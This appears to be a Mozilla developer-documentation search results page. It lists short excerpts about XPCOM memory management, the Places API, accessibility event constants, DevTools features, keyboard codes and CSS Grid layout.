...re has recently been redesigned in preparation for cloud support, and communicating with replaying processes over a network connection instead of IPC should work pretty efficiently. Recording Firefox UI (partially implemented) Right now only content tabs can be recorded and replayed. Firefox's UI and privileged code is largely written in JS, and it would be nice to be able to use Web Replay to help debug and develop Firefox itself, for better dogfooding and gathering internal feedback. This is partially underway and is tracked in bug 1521566. ...
Secure Development Guidelines
) JS_malloc(cx, (newlength + 1) * sizeof(jschar)); ... for (i = 0, ni = 0; i < length; i++) { if ((ch = chars[i]) < 128 && IS_OK(ch, mask)) { newchars[ni++] = ch; ... } ... } ... ...
... Memory Leaks ...
...itialized Data Example: int main() { char *uninitialized_ptr; printf("0x%08x\r\n", uninitialized_ptr); return 0; } $ ./test 0x8fe0103 Un-initialized Data: Prevention Initialize your variables! ...
...he memory Freeing Un-initialized Data Example: int main(){ char *p; try { p = new char [1000]; ... code that might throw an exception ... delete p; } catch (...) { ... } } Memory Leaks: Prevention Any acquired resource in a try block should be freed in a catch block (if the try block throws before the resource is freed) Might be helpful to initialize variables NULL for pointers -1 for file descriptors ...
Places Developer Guide
r. nsINavBookmarksService.unfiledBookmarksFolder - Items that have been "starred", but not places in any folder. nsINavBookmarksService.tagsFolder - Subfolders of this folder are tags, and their children are URIs that have been tagged with that folder's name. Other Bookmarks APIs Note: This document covers the toolkit Places services. ...
...es services. However, Firefox developers can take advantage of several helper APIs that are browser-specific: FUEL - A collection of wrapper APIs for easing access to a number of Firefox utilities and services nsIPlacesTransactionsService - A Firefox service for modifying bookmarks in a transactional manner, providing facilities for undo/redo Places utilities for JavaScript - Accessors and helper functions for Firefox and extensions Creating Bookmarks, Folders and Other Items Creating a Bookmark // create an nsIURI for the URL to be bookmarked. var bookmarkURI = Cc["@mozilla.org/network/io-service;1"] .getService(Ci.nsIIOService) .newURI("http://www.mozilla.com", null, null); var bookmarkId = bookmarks.insertBookmark( bookmarks.toolbarFolder, // T...
...dition nsIGlobalHistory3 - For adding document redirects Adding to History Places provides a couple of interfaces for adding to, and editing the browsing history. The main interface is nsINavHistoryService. Other interfaces that provide specialized abilities are nsIBrowserHistory and nsIGlobalHistory. Examples of the capabilities of each are provided below. // Places deals in URIs, so here's a helper for creating them. function uri(spec) { return Cc["@mozilla.org/network/io-service;1"]. getService(Ci.nsIIOService). newURI(spec, null, null); } // Adding a basic visit via the core Places history service. var history = Cc["@mozilla.org/browser/nav-history-service;1"]. getService(Ci.nsINavHistoryService); var ourURI = uri("http://www.mozilla.com"); var visitDa...
...GlobalHistory3. var globalHistory = Cc["@mozilla.org/browser/global-history;2"]. getService(Ci.nsIGlobalHistory2); var ourURI = uri("http://www.mozilla.com"); var isRedirect = false; var isTopLevel = true; globalHistory.addURI(ourURI, isRedirect, isTopLevel, referrerURI); globalHistory.setPageTitle(ourURI, "Mozilla"); Deleting from History // Places deals in URIs, so here's a helper for creating them. function uri(spec) { return Cc["@mozilla.org/network/io-service;1"]. getService(Ci.nsIIOService). newURI(spec, null, null); } var browserHistory = histsvc.QueryInterface(Ci.nsIBrowserHistory); var ourURI = uri("http://www.mozilla.com"); // Remove all visits for a single URL from history browserHistory.removePage(ourURI); // Remove all visits for multipl...
Avoiding leaks in JavaScript XPCOM components
Take every information on this site with a grain of salt, although most concepts and best practices still apply. ...
...aScript code that leaks. It's easy to write leaky code in any garbage-collected language. But it's even easier in this environment because some of the objects you're dealing with are reference-counted behind the scenes. Programmers writing and reviewing JavaScript code in Mozilla should understand how code using XPCOM in JavaScript can leak so that they can avoid leaks. This document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common JavaScript patterns that cause leaks. Basics of memory management Creating objects that are not a fixed size for the lifetime of the program (global variables) or a fixed size for the lifetime of a function (stack variables) requires a system for dynamic memory allocation: a system that allocate...
...ing is a simple solution to the problem of allowing multiple owners to influence the lifetime of an object. In this strategy, the object has a member that is the number of other objects that "own" it. When this count goes to zero, the object destroys itself. This is the strategy used by XPCOM, partly because it can be used through a very simple API, AddRef and Release. In C++, we use nsCOMPtr to help manage ownership, and we use macros to implement AddRef and Release. The major problem with reference counting is that it can cause leaks through ownership cycles. If object A owns object B, and object B owns object A, then neither one will ever be destroyed. This tends to be solved in one of two ways: either break the cycle at some point or ensure that the cycle is never created in the first pla...
...d JavaScript JavaScript code that uses XPCOM through XPConnect uses two different memory management models. JavaScript uses garbage collection. XPCOM uses reference counting. Authors of JavaScript code that uses XPCOM objects can't depend on all of the benefits of garbage collection. They face some of the disadvantages of reference counting. Understanding how memory management works in XPConnect helps understand why this is the case. XPConnect basically provides two features. It allows JavaScript code to access XPCOM objects (i.e., it wraps native XPCOM objects for JavaScript) and it allows JavaScript code to implement XPCOM interfaces (i.e., it wraps JavaScript objects for XPCOM). For JavaScript objects that implement XPCOM interfaces, the interface between reference counting and garbage c...
Interfacing with the XPCOM cycle collector
themselves very rapidly with the collector, as they pass through a "suspicious" refcount event (from N+1 to N, for nonzero N). Periodically the collector wakes up and examines any suspicious pointers that have been sitting in its buffer for a while. This is the scanning stage of the collector's operation. In this stage the collector repeatedly asks each candidate for a singleton cycle-collection helper class, and if that helper exists, the collector asks the helper to describe the candidate's (owned) children. This way the collector builds a picture of the ownership subgraph reachable from suspicious objects. If the collector finds a group of objects that all refer back to one another, and establishes that the objects' reference counts are all accounted for by internal pointers within the gr...
...group of objects that all refer back to one another, and establishes that the objects' reference counts are all accounted for by internal pointers within the group, it considers that group cyclical garbage, which it then attempts to free. This is the unlinking stage of the collectors operation. In this stage the collector walks through the garbage objects it has found, again consulting with their helper objects, asking the helper objects to "unlink" each object from its immediate children. Note that the collector also knows how to walk through the JS heap, and can locate ownership cycles that pass in and out of it. How the collector can fail The cycle collector is a conservative device. There are situations in which it will fail to collect a garbage cycle. It does not suspect any pointer...
...n locate ownership cycles that pass in and out of it. How the collector can fail The cycle collector is a conservative device. There are situations in which it will fail to collect a garbage cycle. It does not suspect any pointers by default; objects must suspect themselves, typically by using an nsCycleCollectingAutoRefCnt rather than a nsAutoRefCnt. It only traverses objects that return a helper object when QI'ed to nsICycleCollectionParticipant. If it encounters an unknown edge during its traversal, it gives up on that edge; this means that every edge involved in a cycle must be participating, otherwise the cycle will not be found. The Traverse and Unlink methods on the helper object are not magic; they are programmer-supplied and must be correct, or else the collector will fail. Th...
... structure than this picture. For example, your class may have multiple nsISupports base classes, which requires the use of some *_AMBIGUOUS macros that perform a disambiguating downcast. Or your class may have a complicated ownership structure, such that the simple NS_IMPL_CYCLE_COLLECTION_N macros are insufficient; in this case you might need to implement the Traverse and Unlink methods of your helper class manually. It's helpful even in these cases to use the NS_IMPL_CYCLE_COLLECTION_TRAVERSE_{BEGIN,END} and NS_IMPL_CYCLE_COLLECTION_UNLINK_{BEGIN,END} macros. You can see an example of their use in some more complicated classes such as content/base/src/nsGenericElement.cpp. If your class has tearoffs or is being aggregated by other classes it is important to make the tearoff classes or the o...
nsIAccessibleEvent
0A 0x0009 0x0006 An object's state has changed. EVENT_LOCATION_CHANGE 0x800B 0x000A 0x0007 An object has changed location, shape, or size. EVENT_NAME_CHANGE 0x800C 0x000B 0x0008 An object's Name property has changed. EVENT_DESCRIPTION_CHANGE 0x000C 0x0009 An object's Description property has changed. EVENT_VALUE_CHANGE 0x800E 0x000D 0x000A An object's Value property has changed. EVENT_HELP_CHANGE 0x000E 0x000B An object's help has changed. EVENT_DEFACTION_CHANGE 0x000F 0x000C An object's default action has changed. EVENT_ACTION_CHANGE 0x0010 0x000D An object's action has changed. EVENT_ACCELERATOR_CHANGE 0x0011 0x000E An object's keyboard shortcut has changed. EVENT_SELECTION 0x8006 0x0012 0x000F The selection within a container object has changed. EVENT_SELECTION...
...splayed. EVENT_MENUPOPUP_END 0x001B 0x0018 A pop-up menu has been closed. EVENT_CAPTURE_START 0x001C 0x0019 A window has received mouse capture. EVENT_CAPTURE_END 0x001D 0x001A A window has lost mouse capture. EVENT_MOVESIZE_START 0x001E 0x001B A window is being moved or resized. EVENT_MOVESIZE_END 0x001F 0x001C The movement or resizing of a window has finished. EVENT_CONTEXTHELP_START 0x0020 0x001D A window has entered context-sensitive Help mode. EVENT_CONTEXTHELP_END 0x0021 0x001E A window has exited context-sensitive Help mode. EVENT_DRAGDROP_START 0x0022 0x001F An application is about to enter drag-and-drop mode. EVENT_DRAGDROP_END 0x0023 0x0020 An application is about to exit drag-and-drop mode. EVENT_DIALOG_START 0x0024 0x0021 A dialog box has bee...
...TRIBUTE_CHANGED 0x0059 0x0055 An object's attributes changed. Also see EVENT_TEXT_ATTRIBUTE_CHANGED. Gecko 1.9.2 note This event is never sent in versions of Gecko prior to 1.9.2, even though the constant existed. EVENT_PAGE_CHANGED 0x005A 0x0056 A slide changed in a presentation document or a page boundary was crossed in a word processing document. EVENT_LAST_ENTRY 0x005D 0x0057 Help make sure event map does not get out-of-line. EVENT_CREATE 0x8000 EVENT_DESTROY 0x8001 EVENT_DESCRIPTIONCHANGE 0x800D EVENT_PARENTCHANGE 0x800F EVENT_HELPCHANGE 0x8010 EVENT_DEFACTIONCHANGE 0x8011 EVENT_ACCELERATORCHANGE 0x8012 EVENT_MENUSTART 0x0004 EVENT_MENUEND 0x0005 EVENT_MENUPOPUPSTART 0x0006 EVENT_MENUPOPUPEND 0x0007 EVENT...
... EVENT_PARENTCHANGE 0x800F EVENT_HELPCHANGE 0x8010 EVENT_DEFACTIONCHANGE 0x8011 EVENT_ACCELERATORCHANGE 0x8012 EVENT_MENUSTART 0x0004 EVENT_MENUEND 0x0005 EVENT_MENUPOPUPSTART 0x0006 EVENT_MENUPOPUPEND 0x0007 EVENT_CAPTURESTART 0x0008 EVENT_CAPTUREEND 0x0009 EVENT_MOVESIZESTART 0x000A EVENT_MOVESIZEEND 0x000B EVENT_CONTEXTHELPSTART 0x000C EVENT_CONTEXTHELPEND 0x000D EVENT_DRAGDROPSTART 0x000E EVENT_DRAGDROPEND 0x000F EVENT_DIALOGSTART 0x0010 EVENT_DIALOGEND 0x0011 EVENT_SCROLLINGSTART 0x0012 EVENT_SCROLLINGEND 0x0013 EVENT_MINIMIZESTART 0x0016 EVENT_MINIMIZEEND 0x0017 EVENT_ATK_PROPERTY_CHANGE 0x0100 EVENT_ATK_SELECTION_CHANGE 0x0101 EVENT_ATK_TEXT...
XPCOM Interface Reference
eDeviceInfonsICacheEntryDescriptornsICacheEntryInfonsICacheListenernsICacheMetaDataVisitornsICacheServicensICacheSessionnsICacheVisitornsICachingChannelnsICancelablensICategoryManagernsIChannelnsIChannelEventSinknsIChannelPolicynsICharsetResolvernsIChromeFrameMessageManagernsIChromeRegistrynsIClassInfonsIClipboardnsIClipboardCommandsnsIClipboardDragDropHookListnsIClipboardDragDropHooksnsIClipboardHelpernsIClipboardOwnernsICollectionnsICommandControllernsICommandLinensICommandLineHandlernsICommandLineRunnernsIComponentManagernsIComponentRegistrarnsICompositionStringSynthesizernsIConsoleListenernsIConsoleMessagensIConsoleServicensIContainerBoxObjectnsIContentFrameMessageManagernsIContentPrefnsIContentPrefCallback2nsIContentPrefObservernsIContentPrefServicensIContentPrefService2nsIContentSecurity...
...ernsIDragServicensIDragSessionnsIDroppedLinkHandlernsIDroppedLinkItemnsIDynamicContainernsIEditornsIEditorBoxObjectnsIEditorDocShellnsIEditorIMESupportnsIEditorLoggingnsIEditorMailSupportnsIEditorObservernsIEditorSpellChecknsIEffectiveTLDServicensIEnumeratornsIEnvironmentnsIErrorServicensIEventListenerInfonsIEventListenerServicensIEventSourcensIEventTargetnsIExceptionnsIExtensionManagernsIExternalHelperAppServicensIExternalProtocolServicensIExternalURLHandlerServicensIFTPChannelnsIFTPEventSinknsIFactorynsIFaviconDataCallbacknsIFaviconServicensIFeednsIFeedContainernsIFeedElementBasensIFeedEntrynsIFeedGeneratornsIFeedPersonnsIFeedProcessornsIFeedProgressListenernsIFeedResultnsIFeedResultListenernsIFeedTextConstructnsIFilensIFileInputStreamnsIFileOutputStreamnsIFilePickernsIFileProtocolHandlernsI...
...INIParserWriternsIIOServicensIIdleServicensIInProcessContentFrameMessageManagernsIInputStreamnsIInputStreamCallbacknsIInstallLocationnsIInterfaceRequestornsIJSCIDnsIJSIDnsIJSIIDnsIJSONnsIJetpacknsIJetpackServicensIJumpListBuildernsIJumpListItemnsILivemarkServicensILoadGroupnsILocalFilensILocalFileMacnsILocalensILocaleServicensILoginInfonsILoginManagernsILoginManagerCryptonsILoginManagerIEMigrationHelpernsILoginManagerPrompternsILoginManagerStoragensILoginMetaInfonsIMIMEInputStreamnsIMacDockSupportnsIMarkupDocumentViewernsIMemorynsIMemoryMultiReporternsIMemoryMultiReporterCallbacknsIMemoryReporternsIMemoryReporterManagernsIMenuBoxObjectnsIMessageBroadcasternsIMessageListenernsIMessageListenerManagernsIMessageSendernsIMessageWakeupServicensIMessengernsIMicrosummarynsIMicrosummaryGeneratornsIMicr...
...mensIWebBrowserChrome2nsIWebBrowserChrome3nsIWebBrowserChromeFocusnsIWebBrowserFindnsIWebBrowserFindInFramesnsIWebBrowserPersistnsIWebContentHandlerRegistrarnsIWebNavigationnsIWebNavigationInfonsIWebPageDescriptornsIWebProgressnsIWebProgressListenernsIWebProgressListener2nsIWebSocketChannelnsIWebSocketListenernsIWebappsSupportnsIWifiAccessPointnsIWifiListenernsIWifiMonitornsIWinAccessNodensIWinAppHelpernsIWinTaskbarnsIWindowCreatornsIWindowMediatornsIWindowWatchernsIWindowsRegKeynsIWindowsShellServicensIWorkernsIWorkerFactorynsIWorkerGlobalScopensIWorkerMessageEventnsIWorkerMessagePortnsIWorkerScopensIWritablePropertyBagnsIWritablePropertyBag2nsIXFormsModelElementnsIXFormsNSInstanceElementnsIXFormsNSModelElementnsIXMLHttpRequestnsIXMLHttpRequestEventTargetnsIXMLHttpRequestUploadnsIXPCException...
Reference Manual
If you've never use nsCOMPtrs before, you might want to read the Getting Started Guide first. If you're trying to fix a broken build, the FAQ might lead you to the answer more quickly. The Basics Design An nsCOMPtr is designed to be a complete replacement for raw XPCOM interface pointers where they are used as owning references. Almost any place you could use a raw XPCOM interface pointer, you should be able to use an nsCOMPtr. An nsCOMPtr is the exact same size and shape as a raw XPCOM interface pointer. It can be used as a member variable without introducing bloat. ...
...ersion is defined. Such a cast can easily by-pass nsCOMPtrs machinery, causing leaks, type mismatches, and other calamities. // Old-style C/C++ casts by-pass |nsCOMPtr|s machinery and cause leaks... nsresult rv; nsCOMPtr<nsIFoo> foo = ...; // ... rv = GetFoo( (nsIFoo**)&foo ); rv = GetFoo( &(nsIFoo*)foo ); // Sure, they compile; but now you leak. To help prevent this, we are trying to make the first form, above, illegal by making operator& private. See bug 59414. Implementation Details and Debugging Machinery Although it is a class, nsCOMPtr has no virtual methods, and therefore, no vtable or vptr. Because a few key routines are factored out into a common non-template base class, the actual underlying pointer is stored as an nsISupports* (except ...
...ikely, you say? You're more likely to see it in a form like this nsCOMPtr<nsIFoo> foo( do_QueryInterface(aList->ElementAt(i)) ); // |ElementAt|, like all good getters, |AddRefs| it's result // which would be dropped on the floor, after querying it for the needed // interface Bugzilla bug 8221 is specifically about finding and fixing this particular kind of leak. nsCOMPtr helpers nsCOMPtr<T> = do_QueryReferent( nsIWeakReference* ), nsCOMPtr<T> = do_QueryReferent( nsIWeakReference*, nsresult* ) do_QueryReferent exists to facilitate weak references based on nsIWeakReference. An nsIWeakReference is an XPCOM object that acts as a proxy for another object. The nsIWeakReference and this other object have a special relationship. They know about each other, but neither holds...
...ctness The Costs of nsCOMPtr nsCOMPtr is tuned to be a viable replacement for raw XPCOM interface pointers, anywhere you would use one as an owning reference. nsCOMPtrs performance is generally slightly more efficient that raw pointers in space, and negligably less efficient in time. Performance concerns should not deter you from using nsCOMPtr. The patterns presented throughout this section will help you get the most out of nsCOMPtr. Space In general, nsCOMPtr can be more efficient in space than using raw XPCOM pointers. This is primarily because it factors its destructor, and the more complicated constructors and assignment operators. By following the optimization tips in this section, you will write code that generates fewer bytes of object than you might with raw pointers. Even if you don'...
Xptcall Porting Status
John Bandhauer <jband@netscape.com> unix (same as Linux 86 code) <font color="white">Done</font> BSD/OS x86 Bert Driehuis <bert_driehuis@nl.compuware.com> unix (same as Linux 86 code) Bert contributed patches that *should* do the right thing for all the unixish-x86 versions of this code for GCC 2.7 or 2.8 vs. EGCS 1.1. He notes that the vtbl scheme is different. He is hoping that others will help test the changes using these two compilers on the various platforms where this same code is used. Bert's details <font color="white">Done</font> Mac PPC Roger Lawrence <rogerl@netscape.com>, Patrick Beard <beard@netscape.com> mac (passing tests and checked in) <font color="white">Done</font> Solaris Sparc Roger Lawrence <rogerl@netscape.com>, Chris McAfee <mcafee@netscape.com> unix This i...
...e different for those compilers and the code will need minor modifications in order to work properly. I am not sure how much of the code can be used for OpenVMS Alpha and/or Digital UNIX. Currently the code is dependent on the g++ name mangling convention and a few GNU extensions so I'm not sure how useful it will be for the other systems. Hopefully the comments in the code are detailed enough to help people attempting a port. <font color="white">Done</font> SunOS x86 Arthur Jones <aljones@lbl.gov> <font color="red">?</font> Philip Pokorny <ppokorny@mindspring.com> The word I hear is that this is working and done <font color="white">Done</font> HP-UX Thomas Wang <wang@cup.hp.com> Mike Gleeson <mgleeson1@netscape.com> I hear that this code is checked in and working. Though, there is so...
...is is working for everyone - see bug #10061. Mike Shaver <shaver@mozilla.org> is the interim maintainer until someone more suitable can be found. <font color="white">Done</font> BeOS x86 Duncan Wilcox <duncan@be.com> unix (yet another reuse of the Linux 86 code!) Duncan says this is all working. He did the code for old cfront style 'this' adjustment for others to use too! <font color="white">HELP!</font> BeOS PPC - - <font color="white">Done</font> Compaq Tru64 UNIX (Digital UNIX) Steve Streeter <streeter@zk3.dec.com> Code passes the tests and is checked in. <font color="black">Working</font> Neutrio x86 Jerry L. Kirk <Jerry.Kirk@Nexwarecorp.com> Patches for xptc*_unixish_x86.cpp checked in. Waiting for verification that this is really finished. <font color="black">Investigating</...
...on the code for Linux ARM. The InvokeByIndex code works correctly when used with TestXPTCInvoke. I am currently working on making TestXPC function correctly. I am doing the porting work with egcs-1.1.2 on NetBSD 1.4P (NetBSD-current snapshot from a couple of days ago). <font color="white">Done</font> Linux ia64 HP Ulrich Drepper <drepper@redhat.com> bug 40950 comment 15 <font color="white">HELP!</font> All others! - - Note: I've used the symbol (<font color="red">?</font>) to indicate people who have expressed an interest in possibly contributing code. Just because these people are listed here does not mean that they have commited themselves to do the work. If you would like to contribute then let me know. Feel free to email these folks and offer to help or find out what's going on. ...
Network request list - Firefox Developer Tools
. You can override this behavior by checking "Enable persistent logs" in the Settings. Network request columns You can toggle columns on and off by right-clicking on the table header and choosing the specific column from the context menu. A Reset Columns command is available on the context menu to reset the columns to their initial configuration. You can also change the width of the columns to help make the information you are looking for easier to view. The mouse pointer changes to a resize icon when you move it over the border of a column. You can drag to manually set the size of column. Starting in Firefox 76 you can double-click a column divider to resize the column to the left of it to fit its contents. The Reset Columns command on the context menu also resets the width of the columns...
...ns command on the context menu also resets the width of the columns to the default values. Clicking the column header label sorts the request list by that column. You can reset the sort to the default by selecting "Reset Sorting" from the context menu. Here is a list of all available columns: Status: The HTTP status code returned. The numeric code is displayed on a colored background, to help unusual ones stand out. If there was no response, this column is empty. Or you might see a red circle with a diagonal slash for responses that were blocked by the browser or the server. Method: The HTTP request method used. Domain: Domain of the path requested. If the request used SSL/TLS and the connection had security weaknesses such as weak ciphers, you'll see a warning triangle next ...
...URL will be blocked and a message will be added to the item in the list indicating that it has been blocked by the DevTools. Stop blocking a URL from the Request List Hover over the item. Select Unblock URL. Now when you refresh the page, the item will once enabled. Note: (Starting in Firefox 80) You can also block and unblock URLs from the Web Console, using the :block and :unblock helper commands. These accept any string, and affect any URL containing the string. Filtering requests You can filter requests by content type, by whether they are XMLHttpRequests or WebSocket requests, or by request properties. Filter type How to apply Content type Use the buttons in the toolbar (HTML, CSS, JS). XHR requests Use the XHR button in the toolba...
...to find partial matches; entering "for" will match any message that contains the word "for") or--as of Firefox 75--using regular expressions (by writing the regexp bracketed within slashes; "/.+Corp.*/" will look for any occurrence of "Corp" which has at least one character before it and may or may not have any characters after it, for example). The third-party add-on WebSocket Sniffer may be helpful as well. URL Use the Filter URLs box in the toolbar. You can focus it by clicking in the filter box, or by pressing Ctrl + F (or Cmd + F on a Mac); then start typing. The list of network requests is filtered to include only requests that contain your filter string, in either the Domain or the File portions. You can filter requests that don't contain your filter string...
The JavaScript input interpreter - Firefox Developer Tools
owser if Accessibility features have been enabled. Execution history The interpreter remembers expressions you've typed. To move back and forward through your history: In single-line mode, use the up and down arrows. In multi-line mode, use the ? and ? icons in the editing panel's toolbar. The expression history is persisted across sessions. To clear the history, use the clearHistory() helper function. You can initiate a reverse search through the expression history, much like you can in bash on Linux and Mac or PowerShell on Windows. On Windows and Linux press F9. On Mac press Ctrl+R (note: not Cmd+R!) to initiate the reverse search. Enter the text you want to search for in the input box at the bottom of the Console. Start typing part of the expression you are looking for and t...
... $(selector, element) Looks up a CSS selector string selector , returning the first node descended from element that matches. If unspecified, element defaults to document. Equivalent to document.querySelector() or calls the $ function in the page, if it e...
... $(selector, element) Looks up a CSS selector string selector , returning the first node descended from element that matches. If unspecified, element defaults to document. Equivalent to document.querySelector() or calls the $ function in the page, if it exists. See the QuerySelector code snippet. $$(selector, element) Looks up a CSS selector ...
...s is a shortcut for Object.keys. values() Given an object, returns a list of the values on that object; serves as a companion to keys(). clear() Clears the console output area. inspect() Given an object, opens the object inspector for that object. pprint() Obsolete since Gecko 74 Formats the specified value in a readable way; this is useful for dumping the contents of objects and arrays. help()Deprecated since Gecko 62 :help Displays help text. Actually, in a delightful example of recursion, it will bring you to this page. cd() Switch JavaScript evaluation context to a different iframe in the page. This helper accepts multiple different ways of identifying the frame to switch to. You can supply any of the following: a selector string that will be passed to document.querySel...
Web Console remoting - Firefox Developer Tools
evaluate the string in the frame of the given FA. The url property is an optional URL to evaluate the script as (new in Firefox 25). The default source URL for evaluation is "debugger eval code". The selectedNodeActor property is an optional NodeActor ID, which is used to indicate which node is currently selected in the Inspector, if any. ...
...any. This NodeActor can then be referred to by the $0 JSTerm helper. The response packet: { "from": "conn0.console9", "input": "document", "result": { "type": "object", "className": "HTMLDocument", "actor": "conn0.consoleObj20" "extensible": true, "frozen": false, "sealed": false }, "timestamp": 1347306273605, "exception": null, "exceptionMessage": null, "helperResult": null } exception holds the JSON-ification of the exception thrown during evaluation. exceptionMessage holds the exception.toString() result. result has the result ObjectActor instance. helperResult is anything that might come from a JSTerm helper result, JSON stuff (not content objects!). In Firefox 23: we renamed the error and errorMessage properties to exception and exceptio...
...ame": "Date", "value": "Mon, 17 Sep 2012 20:05:27 GMT" }, ... ], "headersSize": 320 } The getResponseCookies packet: { "to": "conn0.netEvent15", "type": "getResponseCookies" } { "from": "conn0.netEvent15", "cookies": [] } Starting with Firefox 19: for all of the header and cookie values in the above packets we use LongStringActor grips when the value is very long. This helps us avoid using too much of the network bandwidth. The getRequestPostData packet: { "to": "conn0.netEvent15", "type": "getRequestPostData" } { "from": "conn0.netEvent15", "postData": { text: "foobar" }, "postDataDiscarded": false } The getResponseContent packet: { "to": "conn0.netEvent15", "type": "getResponseContent" } { "from": "conn0.netEvent15", "content": { "mimeTy...
...be long string actors now. Firefox 25: added the url option to the evaluateJS request packet. Firefox 25: added the getPreferences and sendHTTPRequest request packets to the console actor, bug 886067 and bug 731311. Conclusions As of this writing, this document is a dense summary of the work we did in bug 768096 and subsequent changes. We try to keep this document up-to-date. We hope this is helpful for you. If you make changes to the Web Console server please update this document. Thank you! ...
KeyboardEvent: code values - Web APIs
0xE032 "BrowserHome" "BrowserHome" 0xE033, 0xE034 "Unidentified" "" 0xE035 "NumpadDivide" "NumpadDivide" 0xE036 "Unidentified" "" 0xE037 "PrintScreen" "PrintScreen" 0xE038 "AltRight" "AltRight" 0xE039, 0xE03A "Unidentified" "" 0xE03B "Unidentified" "Help" 0xE03C~ 0xE044 "Unidentified" "" 0xE045 "NumLock" "NumLock" 0xE046 (Ctrl + Pause) "Pause" "Pause" 0xE047 "Home" "Home" 0xE048 "ArrowUp" "ArrowUp" 0xE049 "PageUp" "PageUp" 0xE04A "Unidentified" "" 0xE04B "ArrowLeft" "ArrowLeft" 0xE04C "Unidenti...
...d actually) kVK_F11 (0x67) "F11" "F11" kVK_JIS_Kana (0x68) "Lang1" "KanaMode" (no events fired actually) kVK_F13 (0x69) "F13" "F13" kVK_F16 (0x6A) "F16" "F16" kVK_F14 (0x6B) "F14" "F14" kVK_F10 (0x6D) "F10" "F10" kVK_F12 (0x6F) "F12" "F12" kVK_F15 (0x71) "F15" "F15" kVK_Help (0x72) "Help" "Insert" kVK_Home (0x73) "Home" "Home" kVK_PageUp (0x74) "PageUp" "PageUp" kVK_ForwardDelete (0x75) "Delete" "Delete" kVK_F4 (0x76) "F4" "F4" kVK_End (0x77) "End" "End" kVK_F2 (0x78) "F2" "F2" kVK_PageDown (0x79) "PageDown" "PageDown" kVK_F1 (0x7A) "F1" "F1" ...
...textMenu" "ContextMenu" 0x0088 "BrowserStop" "Cancel" 0x0089 "Again" "" 0x008A "Props" "" 0x008B "Undo" "Undo" 0x008C "Select" "" 0x008D "Copy" "Copy" 0x008E "Open" "" 0x008F "Paste" "Paste" 0x0090 "Find" "" 0x0091 "Cut" "Cut" 0x0092 "Help" "Help" 0x0093 "Unidentified" "" 0x0094 "LaunchApp2" "" 0x0095, 0x0096 "Unidentified" "" 0x0097 "WakeUp" "" 0x0098 "LaunchApp1" "" 0x0099 ~ 0x00A2 "Unidentified" "" 0x00A3 "LaunchMail" "" 0x00A4 "BrowserFavorites" "" 0x00A5 "Unidentified" "" 0x00A6 ...
...07D "MetaLeft" 0x007E "MetaRight" 0x007F "ContextMenu" 0x0080 "BrowserStop" 0x0081 "Again" 0x0082 "Props" 0x0083 "Undo" 0x0084 "Select" 0x0085 "Copy" 0x0086 "Open" 0x0087 "Paste" 0x0088 "Find" 0x0089 "Cut" 0x008A "Help" 0x008B ~ 0x008D "Unidentified" 0x008E "Sleep" 0x008F "WakeUp" 0x0090 "LaunchApp1" 0x0091 ~ 0x009B "Unidentified" 0x009C "BrowserFavorites" 0x009D "Unidentified" 0x009E "BrowserBack" 0x009F "BrowserForward" 0x00A0 "Unidentified" 0x00A...
Accessibility documentation index - Accessibility
st name or a surname. 10 Basic form hints ARIA, Accessibility, Forms When implementing forms using traditional HTML form-related elements, it is important to provide labels for controls, and explicitly associate a label with its control. 11 Multipart labels: Using ARIA for labels with embedded fields inside them ARIA, Accessibility, Ben Millard, Firefox, Guide, HELP, HTML, HTML 4, JAWS, NeedsContent, aria-labelledby, label, solution, trouble shoot, troubleshoot The solution is in an ARIA attribute called aria-labelledby. Its parameter is a string that consists of the IDs of the HTML elements you want to concatenate into a single accessible name. 12 How to file ARIA-related bugs ARIA, Bugzilla The state of ARIA technology has always...
...tosensitivity, prefers-reduced-motion, reflex epilepsy, saturation, seizure disorders, seizures, user settings, web animation This article discusses making web content accessible for those with vestibular disorders, and those who support them, by taking advantage of personalization and accessibility settings built into the operating systems. Taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions. 86 Accessible dynamic content Accessibility This content has been moved to An overview of accessible web applications and widgets. 87 An overview of accessible web applications and widgets ARIA, Accessibility, Guide, Web apps, Widget Most JavaScript libraries offer a librar...
... Accessibility, Firefox OS, Guidelines, Mobile, checklist This document provides a concise checklist of accessibility requirements for mobile app developers. It is intended to continuously evolve as more patterns arise. 95 Understanding the Web Content Accessibility Guidelines WCAG, Web Content Accessibility Guidelines This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 or 2.1 (or just WCAG, for the purposes of this writing). 96 Keyboard Accessibility, keyboard If an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and prod...
...ting rigorously. 102 Text labels and names Accessibility, WCAG, text labels There are many situations in which a control, dialog, or other website feature should be given a descriptive name or label to allow users of assistive technologies to understand what its purpose is and to be able to understand and operate it correctly. ...
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
s, which demonstrate some of the different techniques you can use when designing with grid layout. We will look at an example using grid-template-areas, a typical 12-column flexible grid system, and also a product listing using auto-placement. As you can see from this set of examples, there is often more than one way to achieve the result you want with grid layout. Choose the method you find most helpful for the problems that you are solving and the designs that you need to implement. A responsive layout with 1 to 3 fluid columns using grid-template-areas Many websites are a variation of this type of layout, with content, sidebars, a header and a footer. In a responsive design, you may want to display the layout as a single column, adding a sidebar at a certain breakpoint and then bring in a...
...ements (ad). The footer now spans right across the bottom of the layout. I then use a flexbox to display the navigation as a column. This is a simple example but demonstrates how we can use a grid layout to rearrange our layout for different breakpoints. In particular I am changing the location of that ad block, as appropriate in my different column setups. I find this named areas method very helpful at a prototyping stage, it is easy to play around with the location of elements. You could always begin to use grid in this way for prototyping, even if you can't rely on it fully in production due to the browsers that visit your site. A flexible 12-column layout If you have been working with one of the many frameworks or grid systems you may be accustomed to laying out your site on a 12- or...
... Something to note as we create this layout is that we haven't needed to explicitly position every element on the grid at each breakpoint. We have been able to inherit the placement set up for earlier breakpoints - an advantage of working "mobile first". We are also able to take advantage of grid auto-placement. By keeping elements in a logical order, auto...
... Further exploration The best way to learn to use grid layout is to continue to build examples like the ones we have covered here. Pick something that you normally build using your framework of choice, or using floats, ...
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
